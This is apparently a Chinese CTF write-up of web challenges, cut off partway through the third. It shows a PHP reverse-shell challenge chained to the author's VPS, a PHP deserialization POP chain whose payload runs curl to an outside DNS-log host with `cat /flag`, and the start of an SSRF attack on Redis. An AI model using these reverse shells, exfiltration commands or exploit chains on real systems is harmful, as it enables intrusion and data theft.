Where_is_my_FUMO
开局是给了一个反弹shell的命令执行
<?php
function chijou_kega_no_junnka($str) {
$black_list = [">", ";", "|", "{", "}", "/", " "];
return str_replace($black_list, "", $str);
}
if (isset($_GET['DATA'])) {
$data = $_GET['DATA'];
$addr = chijou_kega_no_junnka($data['ADDR']);
$port = chijou_kega_no_junnka($data['PORT']);
exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {
highlight_file(__FILE__);
}
这里只能添加ip和端口,而且ban了>和空格
这个反弹shell有点特殊,他可以执行命令但是没有回显,这里我本来是想着看看有没有办法能直接打有回显的shell但是太菜了打不了
我一开始的想法是直接盲打,先把更目录给写到txt文件里面,再通过web访问,但是很可惜,写不进
ls / > ./fxz.txt
后来灵光一动,既然可以执行命令,我不如再跳一次shell到我第二台vps上不就可以弹有回显的了嘛
payload
http://1.14.102.22:8115/?DATA[ADDR]=ip&DATA[PORT]=8866
然后第一台vps接收shell
再弹有回显的shell到第二台vps
成功接收到,直接ls /
用base64加密cat一下,然后复制出来转图片
拿到flag
或者简单一点,直接用dnslog去打
然后同理读取图片即可
babyPOP
pop链构造
<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
public function __construct(){
$this->fff=new c();
}
}
class b{
private $i_want_2_listen_2_MaoZhongDu;
public function __construct(){
$this->i_want_2_listen_2_MaoZhongDu = "curl http://a6qw99.ceye.io/`cat /flag`";
}
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
class c {
public function __construct(){
$this->aaa = new e();
}
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __construct(){
$this->value = new b();
}
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
class e {
public function __construct(){
$this->afkl = new d();
}
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
$u = new a();
echo base64_encode(serialize($u));
从a类进入,然后转到c类,c类赋值后转到e类,e类把d类写进afkl变量,然后执行($this->afkl)();
去触发d类的__invoke()
方法,$this->value
触发到b类的__toString()
函数从而执行到命令
本来想反弹shell,但是不知道为啥弹不出,本机测试成功了,远程没打通,所以还是用了dnslog去打无回显命令执行
givemeyourlove
题目提示了要打redis,看源码是一个ssrf
而且提示了密码是123123
<?php
// I hear her lucky number is 123123
highlight_file(__FILE__);
$ch = curl_init();
$url=$_GET['url'];
if(preg_ma